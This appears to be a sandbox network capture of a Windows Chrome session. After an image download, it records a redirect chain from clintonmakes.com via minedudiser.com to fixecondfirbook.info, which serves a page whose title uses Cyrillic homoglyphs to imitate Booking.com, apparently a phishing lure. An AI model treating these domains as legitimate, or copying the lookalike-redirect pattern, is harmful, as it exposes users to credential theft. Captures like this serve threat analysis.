Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 30AF61ED1C844B0E81D06F31EA8E31A2 Ref B: EWR311000107053 Ref C: 2025-01-16T16:20:24Z Date: Thu, 16 Jan 2025 16:20:24 GMT Connection: close
2025-01-16 16:20:24 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 30 3a 32 34 20 31 31 3a 30 33 3a 30 35 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1 r2i``Adobe Photoshop 25.12 (Windows)2024:10:24 11:03:058C
2025-01-16 16:20:24 UTC	16384	IN	Data Raw: a6 f9 3c c1 8e a3 a7 43 d3 d6 bd 1c 05 2a 75 6a 72 4d 1c b9 95 4a d4 28 fb 5a 4d 69 ba 6b 73 a9 b1 d4 62 97 e7 0d 56 e7 94 49 0d 78 dd ae b9 aa e9 77 8d 0c be 64 52 c7 f7 a2 99 7e 65 ad 68 fc 71 a8 85 c1 8a 06 fc eb d1 a9 93 d5 52 f7 0f 2a 97 11 d0 69 7b 54 d3 3d 1d 25 1d 0d 6b 59 e8 37 77 36 ad 7f 6e cb 2c 50 ae 5b 6f cd 5e 6b a5 f8 ca da 56 5f b4 ab 44 7f 8b f8 85 7a 2f c2 6f 1e 69 1a 65 e5 d4 52 af da a1 ba 51 e6 47 1b 0e df 5e d5 c9 53 07 56 9f c4 8e c9 66 b4 ea d3 e6 c3 c9 37 db bf de 75 1e 1f bb d1 bc 21 a7 cf 16 b7 12 c5 1e a0 a5 be d6 d1 96 49 03 26 70 0f b7 b5 79 7f 89 b4 e4 9f 47 d4 35 27 55 95 77 34 96 ca 8a 55 d4 7b f7 35 d2 fc 41 d6 07 89 3c ab 72 ab 1d a4 12 19 62 8d a4 dd b7 27 f2 1e 94 78 5e 44 9e df fd 1b 6c f3 7c c1 63 5c 32 e4 74 06 a6 Data Ascii: <CujrMJ(ZMiksbVIxwdR~ehqRi{T=%kY7w6n,P[o^kV_Dz/oieRQG^SVf7u!I&pyG5'Uw4U{5A<rb'x^Dl\|c\2t
2025-01-16 16:20:24 UTC	16384	IN	Data Raw: db f9 72 6c 35 f7 59 76 29 56 a2 af ba 3f 1d cf b2 e7 84 c4 b7 1d 9e a7 49 a6 df 5a 6a b0 c7 6d aa ca d1 79 7b 45 b4 b6 d1 a2 a4 23 a3 19 06 32 dc 7b d4 77 56 90 db ea 0d 15 bd e4 77 51 2b 63 cf 6f 91 5b f3 ed 59 9e 1d bd 1a 75 e7 9e 60 5b 9d aa 47 97 23 1d 99 3c 64 e3 d2 b5 af e7 d2 e4 ba 69 6c ad a4 82 de 48 c7 97 1c b7 3e 63 c6 ff 00 c4 78 03 82 7b 1e 95 dd 24 ac 78 31 72 4f c8 4b 93 68 ca d2 48 ad 24 d2 37 cc b0 e1 11 7e 9c 54 77 16 fa 74 f6 72 ba 4b 3c 17 51 b0 f2 e0 92 3d eb 20 ee 77 f1 b4 fe 15 a9 a5 7f 65 dd aa c0 fa 54 f3 cd 24 65 15 6d a7 3b 9a 43 d1 b1 cf 4f 41 55 f5 49 f5 03 71 15 cc f2 34 13 5b 30 10 33 47 b5 b2 87 8c b6 3e 66 1e f5 3c a5 3a 9d 0c 89 b4 db 8b 66 d9 3c 13 c5 27 f0 ac 91 15 eb 51 a2 9d d8 35 d5 f8 93 c7 3a fe bd 66 91 f8 8e 2b Data Ascii: rl5Yv)V?IZjmy{E#2{wVwQ+co[Yu`[G#<dilH>cx{$x1rOKhH$7~TwtrK<Q= weT$em;COAUIq4[03G>f<:f<'Q5:f+
2025-01-16 16:20:24 UTC	16384	IN	Data Raw: c4 6d 3f ed 3e 13 f1 05 b5 d3 2f 12 da 3f ee e7 84 fa 34 6d 83 fd 2b f3 51 ac fc be 63 dc df ec d3 24 28 b3 2c b0 45 24 57 51 36 e8 e5 8a 42 ae a3 d9 86 08 fa e6 b3 9c 23 3d d6 a7 34 f0 3f c8 ec 7e af b2 e5 b9 eb 49 b7 da be 12 f8 23 fb 50 7c 40 f0 ad ac 5a 3e b3 6d ff 00 09 6d 9c 0a 15 12 ee 61 1d dc 60 7a 4d d1 ff 00 e0 43 3e f5 ef 9e 03 fd ab 3e 1a 6b 5a 94 5a 67 88 62 d5 3c 25 7d 2e 36 ff 00 6b c2 16 0c 9e de 72 92 bf 89 c5 73 cb 0f 35 aa d5 1c 92 84 e1 f1 23 dc 71 4b b6 a3 b1 ba b5 bd b3 4b ab 1b 98 6e 6d a5 5c c7 2c 12 07 46 1e c4 71 53 57 2c 9b 4e cc 9d c6 6d a3 6d 49 8a 31 4a f7 02 3d b4 6d a7 e3 da 95 56 8e 60 b0 cd b4 6d a7 e3 de 8c 51 71 d8 66 da 36 d3 b3 4b 8f 7a 2e 85 66 47 b6 97 6d 39 85 18 f6 a0 6d 58 6e d3 46 da 7e 28 c5 2b 88 63 2d 1b 69 Data Ascii: m?>/?4m+Qc$(,E$WQ6B#=4?~I#P\|@Z>mma`zMC>>kZZgb<%}.6krs5#qKKnm\,FqSW,NmmI1J=mV`mQqf6Kz.fGm9mXnF~(+c-i
2025-01-16 16:20:24 UTC	16384	IN	Data Raw: 64 e7 d7 91 53 3a 6f 6b 1a 53 c4 47 ab b2 38 19 a3 31 36 c7 ea bf dd a1 00 3c 96 ae 97 5c f0 bf 88 2c 26 8c ea 9a 53 5b c8 ca 04 70 49 84 79 87 41 b5 7a b7 bd 55 4d 32 da 69 23 cf ee 2e 37 61 a0 e5 99 8f b2 75 ac 1c 5a 3a e9 ce 12 5a 3b 98 6a ae 5b 0a dc d6 9e 9b a4 6a 17 11 ac 90 59 c9 2c 4d 26 cf 35 63 2e 99 f4 ca 8a e8 34 5f 09 cf 79 75 bf ec aa d1 b4 9b 62 dd 1b c7 1b 11 d3 39 c1 00 9f 5a f5 0f 0e f8 12 f7 40 f0 ed cb dd df 47 a6 c5 1e d9 27 59 6e cc 8c c4 ff 00 0a db c3 93 c6 78 2c 73 58 4a bd 18 7c 52 3b 63 85 c5 4d 7e ee 1b f7 d1 1e 55 a5 68 ba 74 52 2c 97 92 fd a6 48 db 12 d9 43 3f 97 33 67 a1 4f 94 f0 3d c5 6d e8 b6 96 ed 7c a5 34 e5 b6 54 63 b6 39 18 b3 7d 5d 9b a9 f7 c5 7a 1d c6 93 61 6b 66 d3 d9 c9 76 d6 d1 4a a6 36 6b 21 6f 73 24 84 60 ff 00 Data Ascii: dS:okSG816<\,&S[pIyAzUM2i#.7auZ:Z;j[jY,M&5c.4_yub9Z@G'Ynx,sXJ\|R;cM~UhtR,HC?3gO=m\|4Tc9}]zakfvJ6k!os$`
2025-01-16 16:20:24 UTC	16384	IN	Data Raw: b6 ec 55 42 ab fc 3f 75 bf 3a b2 da 6a 4b 0e fb 4b 98 a7 ff 00 c7 76 8f 7a a7 25 bc 90 73 22 ed 0d fc 55 7a 93 1d 36 37 34 3f 13 dc 69 fe 63 ee 99 8b 60 2c 6b 8d 98 ef 9f fe b5 75 7a 67 89 f4 bb f5 54 92 29 e3 6d bf 7b 8f 99 ff 00 c2 bc cd c6 7a 75 a9 2d a7 96 09 15 d6 b8 b1 18 38 55 d6 da 9e c6 07 35 ad 86 69 37 78 f6 3d 26 49 11 9b 21 b7 0a 6c ed b9 70 5b cc 35 8d a0 df 79 d6 eb bf ef 2a fc d5 a0 a4 9a f1 27 4e 50 93 47 d9 d2 ad 4e b5 35 35 d4 8a e6 1c f4 aa cd 19 11 b2 0e 8d f7 be 5f bd 57 18 e7 8a 16 35 1f ed 56 91 a8 d2 39 ea d1 8c fa 19 73 58 fc ac 42 d5 2b 9b 00 63 f9 62 db fd ef 9a ba 16 40 7a ad 43 24 01 9b da ba 29 e2 1a 7b 9c 35 b0 10 9a d1 1c db 59 63 90 db 4d 57 b8 b6 90 f5 dc df ef 57 4b 2d ba f4 db 55 a6 b6 25 b1 b6 ba a1 8a ee cf 2e b6 5a Data Ascii: UB?u:jKKvz%s"Uz674?ic`,kuzgT)m{zu-8U5i7x=&I!lp[5y*'NPGN55_W5V9sXB+cb@zC$){5YcMWWK-U%.Z
2025-01-16 16:20:24 UTC	16384	IN	Data Raw: fb 41 8e ab a4 5b 5f 43 1f 2c ad bf e5 1e b8 56 19 ae be c7 5d d1 35 4d 72 4b b8 9a 08 a1 56 fd d2 32 94 5f f8 08 27 3f a9 ae 0c 46 12 b5 1a 7c d2 8e 87 b5 82 ce b0 98 ba ea 9d 39 d9 be e3 9a d1 e2 69 9f f8 63 6c 6e 6c 2e e3 ec 3a fe 95 13 9f 4a bf aa f9 57 13 2b c0 d1 e3 6f f0 fd ea a7 e4 b9 55 27 a5 79 0a 77 d5 9f 5c a1 ca ac b5 20 27 d6 9a c4 0a b5 f6 6f e1 dd ff 00 8e d3 3c 80 78 74 6a ae 64 4c a2 da 2a 70 7a d5 7b 84 51 d2 af 4d 6a 43 7d fa 88 c1 db b5 69 19 23 9e a4 5f 53 3d b1 f7 5a a2 99 50 2f 15 7a 48 9d 24 da 57 6d 23 59 a7 cb f3 6e 66 ff 00 66 b7 8b b1 c3 38 dd d8 c7 b8 0c 38 15 17 92 5b e7 dd b4 ff 00 0e da e8 a6 d3 01 87 f7 31 72 bc b3 33 7a fd 6b 3f ec 47 73 79 7f 37 fb b5 bc 2b 25 b1 c3 53 0f 7d d6 86 5c 96 c1 17 2e de 69 93 f8 b9 66 a8 1a Data Ascii: A[_C,V]5MrKV2_'?F\|9iclnl.:JW+oU'yw\ 'o<xtjdL*pz{QMjC}i#_S=ZP/zH$Wm#Ynff88[1r3zk?Gsy7+%S}\.if
2025-01-16 16:20:24 UTC	16069	IN	Data Raw: 3f 34 8f 53 95 15 9a df e6 fb ab 9a 4f 20 9f e1 db 56 b9 3d 29 af bc 2b 63 ad 1c cc 5c a9 11 c7 94 f9 b6 ee a7 a3 87 6e 29 98 91 97 8a 96 d9 47 fc b4 5e 68 64 eb 72 68 c2 f5 dd c7 f7 76 d2 f2 ab c2 b3 7f 77 f8 69 18 a8 6f 91 59 b6 ff 00 76 9b 23 b2 fd f5 e2 b3 b5 cd 51 13 c2 26 ea cb 85 a7 5b 84 45 c0 5d c7 fb d4 bb dc 6d fd d5 4b 1c bb ba d5 5d d8 56 57 b8 d8 e6 d8 d9 29 26 3f ba d8 a9 d2 74 6e 4f ca 3f dd a4 52 0f 55 e6 9c d1 a6 dc 05 e3 fd ea 87 63 44 a4 85 59 62 2b c7 dd a6 6f 5d dc 2b 31 a8 a6 01 55 bf 84 7f bd 50 34 8a 3a 35 35 1b 8a 55 1a 26 92 e8 af fb 27 fd ed d5 5a 4b 89 37 73 f3 7f c0 69 ac 41 5c 96 5c d5 79 1d c2 ec 33 ad 6b 18 a3 39 56 d4 9a 4b 96 46 c9 6e 3f da aa 72 90 78 45 e2 91 c9 ee ca d5 52 69 11 59 81 6a da 30 b9 8c b1 0a da b1 f7 0e Data Ascii: ?4SO V=)+c\n)G^hdrhvwioYv#Q&[E]mK]VW)&?tnO?RUcDYb+o]+1UP4:55U&'ZK7siA\\y3k9VKFn?rxERiYj0
2025-01-16 16:20:24 UTC	16384	IN	Data Raw: 6d eb ff 00 8f 53 e5 8a 0f 6b 53 b8 47 79 7a ad f2 ca ac 3f ba d5 61 6f 67 7f be df f8 f5 52 45 b7 55 f9 3f a5 49 19 4d d8 1b b6 fe 14 38 c3 b0 2a f5 7f 98 b4 97 53 06 e7 a7 f0 d4 df da 97 01 b6 47 3a af fc 0a aa 66 22 b8 3f 29 a6 ac 69 f7 c4 aa c7 fb b5 3e ce 0f 74 52 c4 56 5b 48 92 f2 f6 e4 6e 7f b4 f3 fd ef bd 55 97 54 bd 66 c1 9f 77 fe cd 53 0d bf c6 ab 27 fb b9 a4 62 07 dd 89 7f ef 9a 6a 30 5d 06 f1 15 bf 9d 92 c7 a8 5d f4 32 d4 8b 77 74 39 13 b5 54 20 b7 25 78 ff 00 66 8f bc d9 fb b4 b9 21 d8 bf ac 56 fe 66 5d fb 75 c8 5c 79 ed 8a 6c b7 13 6d e6 76 ff 00 be aa bb 1d ab 83 ff 00 a1 52 7c ff 00 29 1b 73 47 24 7b 07 d6 2a b5 f1 32 78 66 b8 0c cf e6 f0 bf ec d2 b5 ec e7 8f 36 a2 65 1d 5e 55 ff 00 76 9d 1e c1 fc 34 72 c7 b0 bd bd 65 f6 87 ac f2 ed e6 76 Data Ascii: mSkSGyz?aogREU?IM8SG:f"?)i>tRV[HnUTfwS'bj0]]2wt9T %xf!Vf]u\ylmvR\|)sG${2xf6e^Uv4rev
2025-01-16 16:20:24 UTC	16384	IN	Data Raw: a0 ea b4 8d 1c 67 fe 59 6d aa f7 49 b6 a3 e3 bc 01 be f3 2f fe 83 52 2d d6 ee 37 b3 55 63 6e 0f 21 69 56 30 9c fd d6 a1 f2 db 41 ea 58 62 c7 76 1a a0 b9 c8 5c 89 55 a8 90 1d df 7a a3 78 83 b5 4a dc 2f 7e 85 5b 89 df 76 04 aa df ee d3 4b 12 bf 7a ac b4 00 7f 0d 2a db 81 cd 6d cd 14 88 57 b9 4f a7 de 65 a6 3b 7f 71 77 55 c9 2d 03 f1 b7 fe f9 a8 9b 4e ca ff 00 74 55 29 c5 8b 52 ac 2f b5 98 9e ad ce da 9f 74 2d d5 6a 44 d3 9c 74 dc c2 a7 5b 3d bc 6d 6c d2 94 e3 71 59 a4 53 56 da d8 4f 94 d4 d1 c9 20 a9 5a d9 ff 00 b9 4b 0d b1 fe ed 27 24 d0 72 bb 9c 87 f6 8e a0 7a 6e 56 a5 6b cd 43 fe 7a b2 d6 ab d9 c3 fc 57 34 e4 b3 b4 db fe bf fe fa ae ff 00 69 0f e5 38 b9 2a 5f 56 64 3d c5 e3 75 9e 4c d2 a3 5e 1f f9 6f 27 fd f5 5b 69 67 6d b7 fd 7a b7 fc 06 86 b4 b6 0d cc Data Ascii: gYmI/R-7Ucn!iV0AXbv\UzxJ/~[vKzmWOe;qwU-NtU)R/t-jDt[=mlqYSVO ZK'$rznVkCzW4i8_Vd=uL^o'[igmz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49757	186.64.116.70	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:25 UTC	690	OUT	GET /bookid82291 HTTP/1.1 Host: minedudiser.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://clintonmakes.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:25 UTC	344	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 16 Jan 2025 16:20:25 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubdomains; Location: https://fixecondfirbook.info/ Cache-Control: max-age=0 Expires: Thu, 16 Jan 2025 16:20:25 GMT Content-Length: 237 Connection: close Content-Type: text/html; charset=iso-8859-1
2025-01-16 16:20:25 UTC	237	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 69 78 65 63 6f 6e 64 66 69 72 62 6f 6f 6b 2e 69 6e 66 6f 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://fixecondfirbook.info/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49763	172.67.168.162	443	4552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:26 UTC	684	OUT	GET / HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: http://clintonmakes.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:20:26 UTC	928	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:20:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Express Accept-Ranges: bytes Cache-Control: public, max-age=0 Last-Modified: Tue, 07 Jan 2025 11:10:39 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LE4ntkNwRtUAUNGZNw79i%2BkDXiavajpHDZ0dxdcxG0lzXCqF3V9xsVO9%2FwKkbdKTxqDJhig62gZIAnUfIhz6%2F5zKL8y4aBbPvt11Sr09c1oJO%2FJ8qT3Bq7Q6TgCEGk0gRd1KU6%2BL7A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6ed2cb00aaa7-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13740&min_rtt=13729&rtt_var=5170&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=1262&delivery_rate=211318&cwnd=32&unsent_bytes=0&cid=68cf57ba76f54188&ts=376&x=0"
2025-01-16 16:20:26 UTC	1369	IN	Data Raw: 33 33 36 37 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 42 d0 be d0 be 6b 69 6e 67 2e d1 81 d0 be 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a Data Ascii: 3367<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Bking.m</title> <style> body { margin: 0; font-family: Arial, sans-serif;
2025-01-16 16:20:26 UTC	1369	IN	Data Raw: 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 32 30 70 78 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 70 78 3b 0a 20 20 20 20 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 20 62 75 74 74 6f 6e 2e 61 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 33 62 39 35 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 63 6f 6e 74 65 6e 74 20 61 20 7b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 35 70 78 20 30 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 30 37 31 63 32 Data Ascii: ; border: none; padding: 10px 20px; border-radius: 5px; cursor: pointer; } .content button.a:hover { background-color: #003b95; } .content a { display: block; margin: 15px 0; color: #0071c2
2025-01-16 16:20:26 UTC	1369	IN	Data Raw: 20 20 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 62 6f 75 6e 63 65 2d 69 6e 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 36 2c 20 2d 30 2e 32 38 2c 20 30 2e 37 33 35 2c 20 30 2e 30 34 35 29 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 65 61 73 69 6e 67 2d 62 6f 75 6e 63 65 2d 6f 75 74 3a 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 31 37 35 2c 20 30 2e 38 38 35 2c 20 30 2e 33 32 2c 20 31 2e 32 37 35 29 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 74 69 6d 69 6e 67 2d 69 6e 73 74 61 6e 74 3a 20 31 30 30 6d 73 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 74 69 6d 69 6e 67 2d 66 61 73 74 3a 20 31 35 30 6d 73 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 74 69 6d 69 6e 67 2d 64 65 6c 69 62 65 72 61 74 65 3a 20 32 35 30 6d 73 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f Data Ascii: --bui_easing-bounce-in: cubic-bezier(0.6, -0.28, 0.735, 0.045); --bui_easing-bounce-out: cubic-bezier(0.175, 0.885, 0.32, 1.275); --bui_timing-instant: 100ms; --bui_timing-fast: 150ms; --bui_timing-deliberate: 250ms; --bui_
2025-01-16 16:20:26 UTC	1369	IN	Data Raw: 72 79 5f 6c 69 67 68 74 3a 20 23 62 61 64 34 66 37 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 70 72 69 6d 61 72 79 5f 6c 69 67 68 74 65 72 3a 20 23 65 62 66 33 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 70 72 69 6d 61 72 79 5f 6c 69 67 68 74 65 73 74 3a 20 23 66 61 66 63 66 66 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 67 72 61 79 73 63 61 6c 65 5f 64 61 72 6b 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 67 72 61 79 73 63 61 6c 65 3a 20 23 36 62 36 62 36 62 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 67 72 61 79 73 63 61 6c 65 5f 6c 69 67 68 74 3a 20 23 62 64 62 64 62 64 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 67 72 61 79 73 63 61 Data Ascii: ry_light: #bad4f7; --bui_color_primary_lighter: #ebf3ff; --bui_color_primary_lightest: #fafcff; --bui_color_grayscale_dark: #333; --bui_color_grayscale: #6b6b6b; --bui_color_grayscale_light: #bdbdbd; --bui_color_graysca
2025-01-16 16:20:26 UTC	1369	IN	Data Raw: 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 65 72 5f 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 65 72 5f 6c 69 6e 65 5f 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 5f 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 73 6d 61 6c 6c 5f 6c 69 6e 65 5f 68 65 69 67 68 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 6d 65 64 69 75 6d 5f 73 69 7a 65 3a 20 31 36 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 6d 65 64 69 75 6d 5f 6c 69 6e 65 5f 68 65 69 67 68 74 3a 20 32 34 70 78 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 66 6f 6e 74 5f 6c 61 72 67 65 5f 73 Data Ascii: --bui_font_smaller_size: 12px; --bui_font_smaller_line_height: 18px; --bui_font_small_size: 14px; --bui_font_small_line_height: 20px; --bui_font_medium_size: 16px; --bui_font_medium_line_height: 24px; --bui_font_large_s
2025-01-16 16:20:26 UTC	1369	IN	Data Raw: 6f 6e 74 5f 62 6f 64 79 5f 32 5f 66 6f 6e 74 2d 66 61 6d 69 6c 79 29 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 6f 72 64 65 72 3a 20 23 38 36 38 36 38 36 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 6f 72 64 65 72 5f 61 6c 74 3a 20 23 65 37 65 37 65 37 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 63 65 6e 74 5f 62 6f 72 64 65 72 3a 20 23 66 66 62 37 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 61 63 74 69 6f 6e 5f 62 6f 72 64 65 72 3a 20 23 30 30 36 63 65 34 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 63 61 6c 6c 6f 75 74 5f 62 6f 72 64 65 72 3a 20 23 66 35 36 37 30 30 3b 0a 20 20 20 20 20 20 2d 2d 62 75 69 5f 63 6f 6c 6f 72 5f 62 6f 72 64 65 72 5f 64 69 73 61 Data Ascii: ont_body_2_font-family); --bui_color_border: #868686; --bui_color_border_alt: #e7e7e7; --bui_color_accent_border: #ffb700; --bui_color_action_border: #006ce4; --bui_color_callout_border: #f56700; --bui_color_border_disa
